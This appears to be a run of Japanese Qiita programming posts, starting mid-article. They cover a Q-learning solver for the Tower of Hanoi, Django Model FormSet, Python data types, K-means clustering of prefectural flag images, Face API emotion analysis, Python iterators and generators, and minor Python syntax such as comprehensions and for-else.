step()メソッドでは、エージェントの行動を受け取り、状態遷移と終了判定と報酬計算を行います。ハノイの塔が完成するか、現在のステップ数がmax_episode_stepsに到達したら終了とし、ハノイの塔が完成していたら+1、完成していなかったら-1の報酬を与えます。※強化学習では、初期状態から終端状態までの1回のシミュレーションをエピソードと呼び、エピソード中の1回の行動選択と状態遷移をステップと呼びます。
エージェントの実装
今回は、強化学習のアルゴリズムとしてQ学習を採用します。軽くて性能も良いため、小規模な問題を解くのに適しています。また、探索アルゴリズムは$\boldsymbol{\epsilon}$-greedy法を用いました。
Q学習と$\epsilon$-greedy法の詳細は割愛し、ここでは実装と簡単な補足のみを掲載します。(詳細は、この記事4が参考になると思います。)class QLearning(object): """ Params: alpha : learning rate gamma : discount rate """ def __init__(self, env, actor, alpha=0.01, gamma=0.99): self.env = env self.actor = actor self.alpha = alpha self.gamma = gamma self.q_table = defaultdict(lambda: [0 for _ in range(self.env.n_actions)]) self.training_episode_count = 0 def play_episode(self, train=True, display=False): if train: self.training_episode_count += 1 state = self.env.reset() is_terminal = False while not is_terminal: q_values = self.q_table[tuple(state)] if train: action = self.actor.act_with_exploration(q_values) next_state, reward, is_terminal = self.env.step(action) self.update(state, action, reward, is_terminal, next_state) else: action = self.actor.act_without_exploration(q_values) next_state, reward, is_terminal = self.env.step(action) if display: print('----') print('step:{}'.format(self.env.curr_step)) self.env.render() state = next_state def update(self, state, action, reward, is_terminal, next_state): target = reward + (1 - is_terminal) * max(self.q_table[tuple(next_state)]) self.q_table[tuple(state)][action] *= self.alpha self.q_table[tuple(state)][action] += (1 - self.alpha) * target class EpsilonGreedyActor(object): def __init__(self, epsilon=0.1, random_state=0): self.epsilon = epsilon self.random = np.random self.random.seed(random_state) def act_without_exploration(self, q_values): max_q = max(q_values) argmax_list = [ action for action, q in enumerate(q_values) if q == max_q ] return self.random.choice(argmax_list) def act_with_exploration(self, q_values): if self.random.uniform(0, 1) < self.epsilon: actions = np.arange(len(q_values)) return self.random.choice(actions) else: return self.act_without_exploration(q_values)QLearningクラスがエージェントの求解・学習部分、EpsilonGreedyActorクラスがエージェントの探索部分に相当します。
QLearningクラスのq_tableは状態をキーとして行動価値を保持するdefaultdictであり、これを更新することでエージェントの行動を賢くしていきます。
play_episode()メソッドは1回のエピソードを試行するメソッドで、キーワード引数のtrainによって学習するorしないを、displayによってstepごとの状態を表示するorしないを指定することができます。学習ありのエピソードでは、エージェントは最善行動だけでなく探索的なランダム行動も選択しますが、学習なしのエピソードでは最善手のみを選択していきます。ハノイの塔に挑戦
段数(円盤数)を変えながらハノイの塔を解いてみます。
3段のハノイの塔
max_episode_steps=100として、20エピソードの学習を行います。
import matplotlib.pyplot as plt env = TowerOfHanoiEnvironment(n_disks=3, max_episode_steps=100) actor = EpsilonGreedyActor(random_state=0) model = QLearning(env, actor) n_episodes = 20 episode_steps_traj = [] print('---- Start Training ----') for e in range(n_episodes): model.play_episode() episode_steps_traj.append(env.curr_step) if (e + 1) % 1 == 0: print('episode:{} episode_steps:{}'.format( model.training_episode_count, env.curr_step )) print('---- Finish Training ----') plt.plot(np.arange(n_episodes) + 1, episode_steps_traj, label='learning') plt.plot([1, n_episodes + 1], [2**3-1, 2**3-1], label='shortest') plt.xlabel('episode') plt.ylabel('episode steps') plt.legend() plt.show()実行結果
---- Start Training ---- episode:1 episode_steps:51 episode:2 episode_steps:53 episode:3 episode_steps:19 episode:4 episode_steps:16 episode:5 episode_steps:31 episode:6 episode_steps:9 episode:7 episode_steps:31 episode:8 episode_steps:13 episode:9 episode_steps:10 episode:10 episode_steps:12 episode:11 episode_steps:8 episode:12 episode_steps:8 episode:13 episode_steps:9 episode:14 episode_steps:7 episode:15 episode_steps:7 episode:16 episode_steps:9 episode:17 episode_steps:7 episode:18 episode_steps:9 episode:19 episode_steps:7 episode:20 episode_steps:7 ---- Finish Training ----1回目のエピソードでは解くのに50回程度かかっていますが、episodeを重ねる事で、最短手数の7ステップで解けるようになっています。
このあと、train=False、display=Trueの状態で1エピソードを実行してみます。env.reset() print('----') print('initial state') env.render() model.play_episode(train=False, display=True)実行結果
---- initial state pole0:[2, 1, 0] pole1:[] pole2:[] ---- step:1 pole0:[2, 1] pole1:[] pole2:[0] ---- step:2 pole0:[2] pole1:[1] pole2:[0] ---- step:3 pole0:[2] pole1:[1, 0] pole2:[] ---- step:4 pole0:[] pole1:[1, 0] pole2:[2] ---- step:5 pole0:[0] pole1:[1] pole2:[2] ---- step:6 pole0:[0] pole1:[] pole2:[2, 1] ---- step:7 pole0:[] pole1:[] pole2:[2, 1, 0]うまく解けていますね。
5段のハノイの塔
最短手数は31ステップです。max_episode_steps=200として、200エピソードの学習を行います。
TowerOfHanoiEnvironmentクラスのインスタンスを生成するときにキーワード引数をn_disks=5, max_episode_steps=200と変えるだけで5段ハノイの塔の環境になるため、ここでは結果のグラフのみ掲載します。
110エピソードあたりから、ほぼ最短手数で解けるようになりました。
train=Falseの状態でエピソードを実行し、解くのに要したステップ数を確認します。model.play_episode(train=False) print(env.curr_step)実行結果
31探索なしだと最短手数で解けています。
8段のハノイの塔
最短手数は255ステップです。この規模になると、少ないmax_episode_stepsではなかなか学習してくれません。
max_episode_steps=10000として、2000エピソードの学習を行います。
学習エピソードとepisode stepsのグラフは以下のようになりました。1300エピソードあたりから、ほぼ最短手数で解けるようになりました。5段のときと同様にtrain=Falseにしてエピソードを実行したところ、255ステップで解けていました。
10段のハノイの塔
更に段数を増やします。最短手数は1023ステップです。max_episode_steps=1000000として10000エピソードの学習を行ったところ、最短手数で解けるようになりました。
学習エピソードとepisode stepsのグラフは以下になります。
※私の環境(CPU:i7-7700、RAM:16GB)で45分程度かかりました。ここで、エージェントが経験した状態の数を確認します。
print(len(model.q_table.keys()))実行結果
59049状態は30次元のバイナリ値ベクトルで表現されるため、考えうる状態数は$2^{30}$になりますが、それより遥かに少ない60000程度の状態の探索によって最適手順を獲得していることが分かります。
まとめ
本記事では、ハノイの塔を強化学習で解く例を紹介し、ハノイの塔が完成したら+1、完成していなかったら-1という報酬をもとに最短手数での求解を導出できることを確認しました。強化学習は報酬を決めるだけでパズル・ゲームの手順を学習できる魅力的な手法ですが、8段や10段のハノイの塔のような規模の大きい問題では、非常に多くのエピソードと、エピソード内での試行錯誤が必要になります。
今回扱ったポール数が3本のハノイの塔は非常に有名なパズルであり、最短手数の求解アルゴリズムも明らかになっています。一方、ポールの数が4本、5本と増えたバージョンのハノイの塔についてはあまり知られていないため、強化学習で求解してみると面白いと思いかもしれませんね。(次はこれをテーマに記事を書いてみたいです。)
OpenAIが提供している強化学習用のプラットフォーム。(https://gym.openai.com/) 強化学習をとりあえず動かしてみたい方におすすめです。 ↩
- 投稿日:2019-05-26T18:34:05+09:00
Django Model FormSet について
Djangoの標準機能であるModel FormSetを使ってみましたので、その備忘録です。FormSetは1画面に複数のフォームを表示するものです。
1.Model FormSetとは
まずはModel Formや単なるFormSetの復習・予習です。
1-1.Model Form
Djangoではmodelが定義してある場合、そのmodelから簡単にformを生成してくれるヘルパークラスModelFormがあります。これによりmodelとformで2重にfieldを定義することを避けることができ、一貫した定義が可能となります。
from django.db import models from django.forms import ModelForm TITLE_CHOICES = [ ('MR', 'Mr.'), ('MRS', 'Mrs.'), ('MS', 'Ms.'), ] class Author(models.Model): name = models.CharField(max_length=100) title = models.CharField(max_length=3, choices=TITLE_CHOICES) birth_date = models.DateField(blank=True, null=True) def __str__(self): return self.name class Book(models.Model): name = models.CharField(max_length=100) authors = models.ManyToManyField(Author) class AuthorForm(ModelForm): class Meta: model = Author fields = ['name', 'title', 'birth_date'] class BookForm(ModelForm): class Meta: model = Book fields = ['name', 'authors']1-2.FormSet
フォームセットとは、同じページで複数のフォームを扱うための抽象化レイヤで、いわばデータグリッドのようなものです。つまり一枚の画面で、複数のエントリーフォームが定義でき、複数の投稿が可能となります。
>>> from django import forms >>> class ArticleForm(forms.Form): ... title = forms.CharField() ... pub_date = forms.DateField()>>> from django.forms import formset_factory >>> ArticleFormSet = formset_factory(ArticleForm)1-3.Model FormSet
通常のフォームセット のように、Django には Django モデルを簡単に扱うための拡張的なフォームセットのクラスが用意されています。
>>> from django.forms import modelformset_factory >>> from myapp.models import Author >>> AuthorFormSet = modelformset_factory(Author, fields=('name', 'title'))2.Model FormSetの実例
2-1.プロジェクト作成
まずはDjangoのプロジェクトを作成します。
python -m venv formset source formset/bin/activate cd formset pip freeze # インストール済みは空であることを確認 pip install django # Djangoをインストール django-admin startproject formset cd formsetRemoteからアクセスするための設定です。
statictest/settings.py--- ALLOWED_HOSTS = ["www.mypress.jp"] ---ここまででプロジェクトが動作するので確認します。
python manage.py migrate python manage.py runserver 0:8080テスト用のアプリを作成します
python manage.py startapp myappINSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'myapp', ]2-2.画面イメージ
1行が1フォームです。5行あるので5フォーム表示されています。
2-3.ソースコード
formset/urls.pyfrom django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('', include('myapp.urls')), ]myapp/urls.pyfrom django.urls import path from . import views app_name = 'myapp' urlpatterns = [ path('', views.add, name='index'), ]myapp/models.pyfrom django.db import models from django.utils import timezone class Post(models.Model): title1 = models.CharField('タイトル1', blank=True, default='', max_length=200) title2 = models.CharField('タイトル2', blank=True, default='', max_length=200) title3 = models.CharField('タイトル3', blank=True, default='', max_length=200) title4 = models.CharField('タイトル4', blank=True, default='', max_length=200) def __str__(self): return self.title1modelformset_factory()で、extra=1を指定していますので新規投稿フォームが1個表示されます。max_num=5なので5個投稿すると新規投稿フォームは表示されなくなります。
myapp/forms.pyfrom django import forms from .models import Post class PostCreateForm(forms.ModelForm): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) for field in self.fields.values(): field.widget.attrs['class'] = 'form-control' class Meta: model = Post fields = '__all__' # modelFormSet PostCreateFormSet = forms.modelformset_factory( Post, form=PostCreateForm, extra=1, max_num=5 )myapp/views.pyfrom django.shortcuts import render, redirect from .forms import PostCreateFormSet def add(request): formset = PostCreateFormSet(request.POST or None) print(formset.errors) if request.method == 'POST' and formset.is_valid(): formset.save() return redirect('myapp:index') context = { 'formset': formset } return render(request, 'myapp/formset.html', context)Bootstrapの設定をbase.htmlで行います。公式サイトのものをコピペします。
Starter template - Bootstrapmyapp/templates/myapp/base.html<!doctype html> <html lang="ja"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <title>Django Model FormSet について</title> </head> <body> <div class="container mt-5"> {% block content %}{% endblock %} </div> <!-- Optional JavaScript --> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </body> </html>{{ formset.management_form }} は、深い意味は知りませんが、formsetに必要です。
また{{ form.id }}を手動で追加していることに注意してください。idを明記しないとupdate時にエラーになります。myapp/templates/myapp/formset.html{% extends 'myapp/base.html' %} {% block content %} <form action="" method="post"> {% for form in formset %} {{ form.id }} <div class="row"> <div class="col-sm-3"> {{ form.title1 }} {{ form.title1.errors }} </div> <div class="col-sm-3"> {{ form.title2 }} {{ form.title2.errors }} </div> <div class="col-sm-3"> {{ form.title3 }} {{ form.title3.errors }} </div> <div class="col-sm-3"> {{ form.title4 }} {{ form.title4.errors }} </div> </div> {% endfor %} {{ formset.management_form }} {% csrf_token %} <button type="submit" class="btn btn-primary">送信</button> </form> {% endblock %}今回は以上です
- 投稿日:2019-05-26T18:21:50+09:00
型について
前回:https://qiita.com/New_enpitsu_15/items/1b0f404b0ade21dbe2cd
次回:
目次:https://qiita.com/New_enpitsu_15/private/479c69897780cabd01f4ここまで読んできて、気付いたことがあると思います。
”データに種類がある”
それは現実でも同じことですが、Pythonにおいて意外と重要な概念です。
現実ならば、人間が勝手にデータの種類を推測すればいいだけですが、Pythonはプログラミング言語ですので、受け取り方によって解釈が変わってしまっては困ってしまいます。
そこで、”型”というものを使いデータの種類を確定しています。型
例えば、今まで出てきた
”文字列”と”整数”で話してみましょう。
前回の記事で最後のほうに出てきたstr(1) int("1")を思い出してください。
この括弧の前についているstr
とint
。
これが文字列と整数の型の名前です。"1" 1といった書き方はシンタックスシュガー(簡単な書き方)であり
本来型を表す場合は、
型名(データ)
という形で書いてあげなければなりません。※文字列や整数などを
str()
,int()
などで囲うべきという話ではなく、本来はこういう記述をしますよという話です。特に訳がなければstr()
,int()
で囲う必要はありません。シンタックスシュガーは積極的に使用すべきです。型の確認
データの型を確認するには、type()関数を使用します。
例えば、type(1) #<class int> type("1")#<class str>などと使用することができます。
ただし、type関数が返してくれる値はstr型ではありませんtype(type(1))#<class type>type型…?どういうことなの…?
これはPythonのかなり深いところまで踏み込まなければ理解できません。
詳しく知りたい方は一連の記事でも説明する予定ですので
少々お待ちいただければ。待ちきれない!!という方はPythonの
class
について調べてみましょう。
ついでにclassについて理解したが、それでもtype型
が何者かわからない人には、
type関数で動的にクラスを定義できる。という情報をお渡ししておきましょう。整数と小数?
先ほどから今まで数値と呼んでいたもののことを”整数”と言っていますが、
じゃあ小数は?
実は整数とは型が違うのです。小数はfloat
型といい、整数と表示が違います。1 #int(整数)型 1.0 #float(小数)型ですが、普段からこれを意識する必要はないでしょう。
終わりに
これからどんどんプログラミングっぽくなります。
ここが分からないんだよなぁ…ということがあればコメントください。
これは初心者向けの記事。間違えてあたりまえなのですからあまり気構えずにどうぞ。
- 投稿日:2019-05-26T18:03:31+09:00
pythonの機械学習ライブラリ(scikit-learn)を用いて、県旗を分類する
目的
pythonの機械学習ライブラリ(scikit-learn)を用いて、画像データを分類する事ができます。
今回は日本の県旗の分類を試みました。本取り組みを行う上で、こちらのサイトを参考にさせて頂きました。
準備
・python scikit-learnライブラリ
・都道府県旗-wikipedia の画像データ
(47都道府県+東京都シンボル旗=48個の旗データを取得します)
・フォルダ
例に習って下記3フォルダを事前に作成します。
flag_origin :元データ(48個)
flag_convert:サイズ変換後データ(48個)
flag_group :分類後データ(5クラス)
コード
$ python resize.pyresize.pyimport os from PIL import Image for path in os.listdir('./flag_origin'): img = Image.open(f'./flag_origin/{path}') img = img.convert('RGB') img_resize = img.resize((240, 160)) img_resize.save(f'./flag_convert/{path}.jpg')$ python classify.pyclassify.pyimport os import shutil import numpy as np from skimage import data from sklearn.cluster import KMeans feature = np.array([data.imread(f'./flag_convert/{path}') for path in os.listdir('./flag_convert')]) feature = feature.reshape(len(feature), -1).astype(np.float64) model = KMeans(n_clusters=5).fit(feature) labels = model.labels_ for label, path in zip(labels, os.listdir('./flag_convert')): os.makedirs(f"./flag_group/{label}", exist_ok=True) shutil.copyfile(f"./flag_origin/{path.replace('.jpg', '')}", f"./flag_group/{label}/{path.replace('.jpg', '')}") print(label, path)テスト
5クラスに分けた結果、下記のようになりました。
▪️クラス0 薄い青系
左から、福岡、兵庫、石川、滋賀、山形
▪️クラス1 背景白い系
左から、東京都シンボル旗、青森、岐阜、鹿児島、神奈川、長崎、奈良、大分
沖縄、埼玉、富山、和歌山
▪️クラス2 赤系
左から、愛知、秋田、福島、広島、高知、熊本、長野、新潟
島根、山口
▪️クラス4 その他濃い色
左から、千葉、福井、群馬、北海道、茨城、岩手、香川、京都
岡山、大阪、佐賀、静岡、徳島、東京都、鳥取、山梨
宮城人の目で見ても大体納得がいく位には分類する事ができました。
(個人的に、福岡の県旗が素敵に感じます)CodingError対策
ImportError: cannot import name '_validate_lengths' from 'numpy.lib.arraypad' (/anaconda3/lib/python3.7/site-packages/numpy/lib/arraypad.py)こちらのサイトを参照し、scikit-imageを最新にすれば良いとの事のため、下記の通りupgradeして解決。
$ pip install --upgrade scikit-image参考
- 投稿日:2019-05-26T17:16:40+09:00
【Python】ガキ使さようなら山崎邦正、山ちゃんの表情から感情をFace APIで分析してみる〜山ちゃんはあの時どんな感情だったのか〜
結論(何ができるか)
ガキ使さようなら山崎邦正の写真から山ちゃんの感情を分析することができる
背景
「こんな…いっぱい…花束…貰えるって誰が思いますか?」
ガキ使の名物企画さようなら山崎邦正。年一回のペースで放送されている企画で毎回楽しみにしている。一番の見所は山ちゃんの多彩な表情だ。毎回様々な表情を繰り出し、楽しませてくれる。でも山ちゃんは本当はどんな感情なんだろうかと疑問に思った。表情から感情を読み取ることができることもあるので、表情から感情を客観的に分析できる方法はないかと探していたらMicrosoftが提供しているFace APIというものを見つけた。写真の表情からAIが感情を分析してくれるらしい。Pythonの学習をかねてチャレンジしてみることにした。全体の流れ
①ガキ使さようなら山崎邦正の時の写真を準備する
※今回は手動で素材を収集(スクレイピングでできるかな)
②写真をFace APIに投げる
③Face APIから返ってきた情報から一番高い数値の感情を抽出する
④抽出した結果をデータベースに格納する
⑤データベースに入った情報を集計する実際のコード
main.py# モジュール読み込み import cognitive_face as CF import sqlite3 import time import glob # face api設定情報 KEY = '**************************' CF.Key.set(KEY) BASE_URL = '**************************' CF.BaseUrl.set(BASE_URL) # パラメータemotionを取得して、一番値の高いものを変数に格納 # anger: 怒り, contempt: 軽蔑, disgust: 嫌悪, fear: 恐れ, # happiness: 幸福, neutral: 無表情, sadness: 悲しみ, surprise: 驚き pic_list = [] for pic in glob.glob("img/*.jpeg"): faces = CF.face.detect(pic, face_id=False, landmarks=False, attributes='emotion') for face in faces: emo = face['faceAttributes']['emotion'] emo = max(emo, key=emo.get) pic_list.append(emo) time.sleep(3) # DB処理 dbpath = "emotion.db" con = sqlite3.connect(dbpath) cursor = con.cursor() # 取得したpic_listをDBに格納し、集計 sql = 'INSERT INTO em(e)VALUES(?)' for pic in pic_list: cursor.execute(sql, (pic,)) cursor.execute('select e, count(e) from em group by e') data = cursor.fetchall() print(data) con.commit() con.close print("OK")結果↓
[('anger', 3), ('disgust', 2), ('happiness', 8), ('neutral', 15), ('sadness', 7), ('surprise', 11)]Face APIは他にも取得できるパラメータがあるので、追加すればもっといろいろなことができる。
まとめ
あんなに激しくおもしろい表情をだしているのに、意外と山ちゃんは無表情であることがわかった。サンプル数も少なく、写真の内容によって結果が変わってしまうかもしれないが、おもしろい結果が出た。今年もさようなら山崎邦正を楽しみにしている。
ちなみに、ダウンタウン二人の表情も分析したら・・・[('neutral', 2)]無表情(笑)
山ちゃんはやめへんで!
参考にした情報
- 投稿日:2019-05-26T17:12:17+09:00
はじめての Python for文とイテレータとジェネレータ
今週末にPython3 のチュートリアルを流してみたので、その際に面白いと感じたところのメモです。
参考 Python チュートリアル動作環境
$ python --version Python 3.7.3はじめに
python の for 文は、イテレータから値を取り出して繰り返すだけ。
JavaやC言語のように、条件式に基づいて繰り返し判定をすることはない。
Python 言語リファレンス 8.3. for 文使い方
リストの要素に対して繰り返す。
>>> for x in ['tic', 'tac', 'toe']: ... print(x) ... tic tac toe # reversed で逆順にできる >>> for x in reversed(['tic', 'tac', 'toe']): ... print(x) ... toe tac tic # sorted で整列できる >>> for x in sorted(['tic', 'tac', 'toe']): ... print(x) ... tac tic toe # enumerate でインデックスを取得できる >>> for i, v in enumerate(['tic', 'tac', 'toe'], 1): ... print(i, v) ... 1 tic 2 tac 3 toe指定回数だけ繰り返すときは
range
を使う。>>> for x in range(5,10): ... print(x) ... 5 6 7 8 9 # 何個ずつ繰り上げるか指定する >>> for x in range(5, 10, 2): ... print(x) ... 5 7 9文字列に対して繰り返すこともできる。
>>> for x in "hello": ... print(x) ... h e l l o辞書型に対して繰り返すこともできる。
>>> house_words = { ... 'Baratheon': 'Ours is the Fury', ... 'Greyjoy': 'We Do Not Sow', ... 'Lannister': 'A Lannister always pays his debts', ... 'Stark': 'Winter is Coming', ... } # キーだけ取得する >>> for x in house_words.keys(): ... print(x) ... Baratheon Greyjoy Lannister Stark # 値だけ取得する >>> for x in house_words.values(): ... print(x) ... Ours is the Fury We Do Not Sow A Lannister always pays his debts Winter is Coming # キーと値を取得する >>> for k, v in house_words.items(): ... print(k, v) ... Baratheon Ours is the Fury Greyjoy We Do Not Sow Lannister A Lannister always pays his debts Stark Winter is Comingelse を使うことで for の終わりに処理できる。
>>> for x in range(2): ... print(x) ... else: ... print("done") ... 0 1 done # break で抜けると else は処理されない >>> for x in range(2): ... break ... else: ... print("done") ...for文 の仕組み
- for文に指定されたオブジェクトの
__iter__()
メソッドを呼び出し、イテレータを取得する- イテレータの
__next__()
を呼び出す- 戻り値を変数に代入し、forブロックの処理する
- StopIteration 例外が返ってきたら、繰り返しを中断する
参考 Python ドキュメント 用語集 イテレータ
参考 Python ドキュメント Python 標準ライブラリ イテレータ型実際に
__iter__()
や__next__()
を呼び出してみると、要素が順番に取得できることがわかる。>>> it = [1,2].__iter__() >>> it.__next__() 1 >>> it.__next__() 2 >>> it.__next__() Traceback (most recent call last): File "<stdin>", line 1, in <module> StopIteration >>> it.__next__() Traceback (most recent call last): File "<stdin>", line 1, in <module> StopIteration注意点
__iter__()
や__next__()
の代わりにiter
やnext
ビルドイン関数が用意されている。これらの関数は引数オブジェクトがイテラブルか(イテレータを返せる)どうかのチェックを行ってくれたりするので、こちらをを利用すること。
参考 Python 標準ライブラリ 組み込み関数 iter
参考 Python 標準ライブラリ 組み込み関数 nextイテレータはいちど StopIteration に達すると、その後は常に StopIteration を返す。ということは、同じシーケンスに対してforを2回以上は呼び出せないの?と思ったが、毎度新しいイテレータを返すため心配はいらない。
>>> x = [1, 2] >>> x.__iter__() <list_iterator object at 0x7f17726f9c18> >>> x.__iter__() <list_iterator object at 0x7f17726f9b38>
for k, v in ...
はどう実現しているの?
イテレータから値を取り出して変数に代入していく、という仕組みは同じ。複数の変数に代入する操作は、タプルを使うことで実現している。
タプルは以下のように、要素数をそのまま変数に格納できる型。
Python チュートリアル 5.3. タプルとシーケンス>>> x, y, z = ('apple', 'banana', 'cherry') >>> print(x) apple >>> print(y) banana >>> print(z) cherryイテレータでタプルを返すことで、変数が2以上の場合に対応している。
>>> it = { 'alice': 'apple', 'bob': 'banana'}.items().__iter__() >>> type(it) <class 'dict_itemiterator'> >>> it.__next__() ('alice', 'apple') >>> type(it.__next__()) <class 'tuple'>注意点その1
変数スコープが for の外側と同じ。
>>> del x >>> for x in range(5): ... print(x) ... 0 1 2 3 4 >>> print(x) 4これは、そもそもpythonにはブロックスコープという考え方がないため。forに限らず、ifやelseにもブロックスコープがない点は、個人的には面食らった。
参考 TauStation Python3 – 変数のスコープ注意点その2
リストの要素が途中で変更された場合、繰り返し項目に反映される。
下手に元のリストに変更を加えると、無限ループを起こす可能性がある。>>> import time >>> l = [1, 2, 3] >>> for x in l: ... print(x) ... time.sleep(1) ... l.insert(1, -99) ... 1 -99 -99 -99 ^CTraceback (most recent call last): File "<stdin>", line 3, in <module> KeyboardInterrupt初回のリストで固定したければ、コピーしたものを渡す。
>>> import time >>> l = [1, 2, 3] >>> for x in l[:]: ... print(x) ... time.sleep(1) ... l.insert(1, -99) ... 1 2 3ジェネレータ
イテレータ(
__iter__()
,__next__()
を実装したもの)をお手軽に作ることができる仕組み。
参考 Python ドキュメント 用語集 ジェネレータ
参考 Python 言語リファレンス yield式以下のようにジェネレータを作成する。
>>> def gen(): ... for item in [1, 2, 3]: ... print("generated ", item) ... yield item # 1, 2, 3 を順番に返すジェネレータを実行することで、イテレータ(厳密にはジェネレータイテレータ)が取得できる。
>>> import collections >>> isinstance(gen(), collections.Iterable) True宣言を確認すると、イテレータに必要な
__iter__()
と__next__()
が勝手に実装されていることがわかる。>>> help(gen()) Help on generator object: gen = class generator(object) | Methods defined here: | | __del__(...) | | __getattribute__(self, name, /) | Return getattr(self, name). | | __iter__(self, /) | Implement iter(self). | | __next__(self, /) | Implement next(self). | | __repr__(self, /) | Return repr(self). | | close(...) | close() -> raise GeneratorExit inside generator. | | send(...) | send(arg) -> send 'arg' into generator, | return next yielded value or raise StopIteration. | | throw(...) | throw(typ[,val[,tb]]) -> raise exception in generator, | return next yielded value or raise StopIteration. |イテレータは、
__next__()
が呼ばれると yield の値を返す。>>> def gen(): ... for item in [1, 2, 3]: ... print("generated ", item) ... yield item ... >>> for x in gen(): ... print(x) ... # 要素が必要になったタイミングでジェネレータが動く(=遅延評価される) generated 1 1 generated 1 2 generated 1 3要素の生成は遅延評価されるため、メモリ使用量の節約に役立つ。
遅延評価
ジェネレータに限らず、python のかなりの関数は遅延評価されるようになっている。(ように感じた)
例えば map なんかは、遅延評価されていることが分かりやすい。
>>> for x in map(lambda x: print('mapped'), [1,2,3]): ... print(x) ... mapped None mapped None mapped Noneこのような遅延処理の仕組みのベースになっているのが、イテレータ。
要素が必要になったときにイテレータの__next__()
を呼び出すことで、必要なものを、必要なときに、必要なだけ処理することができる。
参考 Python: range is not an iterator!
参考 Python2からPython3.0での変更点>>> import collections # rangeの戻り値はイテレータ >>> isinstance(range(1,5), collections.Iterable) True # mapの戻り値もイテレータ >>> mapped = map(lambda x: x**2, [1,2,3]) >>> isinstance(mapped, collections.Iterable) True # filterの戻り値もイテレータ >>> filtered = filter(lambda x: x % 2 == 0, [1, 2, 3]) >>> isinstance(filtered, collections.Iterable) TrueJust In Timeに無駄なく処理する感じがかっこいい
- 投稿日:2019-05-26T15:36:01+09:00
たぶん知らないPythonマイナー文法の世界
概要
私はPythonが好きで10年ぐらい使っています.QiitaでもPythonの記事を結構読みますが,その中で,あまり見かけないPythonのマイナーな文法.マイナーな記法について紹介したいと思います.
実用性は・・・あるかどうかは知りません.マイナーな文法なんて趣味の世界でしかないですし.それはマイナーじゃねぇ!と言われるかもしれませんが,あくまで筆者が他の人のコードで見たことないものです.リスト以外の内包表現
軽いジャブということで,リスト型以外の内包表現を取り扱いたいと思います.
辞書型
>>> {i:"a%03d"%i for i in range(3)} {0: 'a000', 1: 'a001', 2: 'a002'}いわゆるdictのkey-valueの両方に対して,ループ変数を使うことができます.
集合型
>>> { i%10 for i in range(20)} {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}そもそも集合型がマイナーかもしれません.ライブラリとしての実装はよくありますが,プログラミング言語の仕様レベルで集合型扱ってるものって意外に少ないかもしれないですね.いわゆるユニークな値のみを扱う型です.これに対しても内包表現が使えます.
ジェネレーター
>>> (i*2 for i in range(10)) <generator object <genexpr> at 0x7fb2f5e41db0>ジェネレーターも内包表現できます.個人的には,あんまりジェネレーター自体を変数に入れたりすることが少ないので,お目にかかることはあまりないです.
内包表記内内包表記 != 2変数内包表記
内包表記の中に内包表記を入れることができるのは割と想像に難くないことだと思います.
>>> [ ... i*3 ... for i ... in [ ... j*2 ... for j ... in range(10) ... ] ... ] [0, 6, 12, 18, 24, 30, 36, 42, 48, 54]割と普通に組んでる分にもやることはありますが,あまり可読性が良くないのでお勧めはしない記法です.これはPythonを普通に学んでいるとわかる範囲だと思います.
しかし,以下の表記はいかがでしょうか.>>> [ ... (i*3,j*2) ... for i in range(2) ... for j in range(3) ... ] [(0, 0), (0, 2), (0, 4), (3, 0), (3, 2), (3, 4)]pythonの内包表現内でforは連続して書けます,
使いどころとしてはかなり限られますが,以下のようなときに便利だったりします.>>> [ ... (i,j) ... for i in [-1,0,1] ... for j in [-1,0,1] ... if abs(i) + abs(j) == 1 ... ] [(-1, 0), (0, -1), (0, 1), (1, 0)]じみーな例ですが,格子を扱いたいときに,縦横の近傍が欲しいときがあります.そういう時に,しれっとかけるのが便利だったりします.地味にflattenするのがめんどくさかったり,このためだけに,for文を重ねて無駄に段数作りたくなかったり,でも手で打ちたくない.みたいなときにやります.あと,ifの節を書き換えれば簡単に斜めも含んだ条件式に出来るので,そういう意味でも楽だったりします.
タプルの作り方
私は簡易的にタプルでデータ構造作ったりすることはあるんですが,普通タプルは
>>> (1,2,3) (1, 2, 3)と使うことが多いと思います.しかし,以下の構文はすべてタプルを返します.
>>> () () >>> 1,2,3 (1, 2, 3) >>> 1, (1,)普通にpythonの勉強をすると,「()で囲まれたリストみたいなのがタプル」と学ぶと思います.
しかし,実際はそんなことはなく,カッコ無しでも大体タプルになります.特に空のタプルが()というのは中々直感と反しているのではないでしょうか.実用上,あんまり空のタプルを使うことも少ない気がしますが・・・for-else
for文にはelse文を付けることができます.正直使ったことないです.
どういうときに動くかというと,for文がbreakされなかった時,最後に動きます.>>> for i in range(10): ... a = 1*1 ... else: ... print("run_else") run_else一方でbreakされると動かないです.
>>> for i in range(10): ... a = 1*2 ... break ... else: ... print("run_break") ... >>>何もしないをする
pass文
何もしない文というものがあります.pythonではpassという文法があります.
>>> for i in range(10): ... pass ... >>>for文の後には必ず何かしらの処理が必要になります.デバッグ等々で何もしない.をしたい.ことがあります.そういう時にpassと書くと何もしないをすることができます.これは見ることがあると思います.
渚の『……』
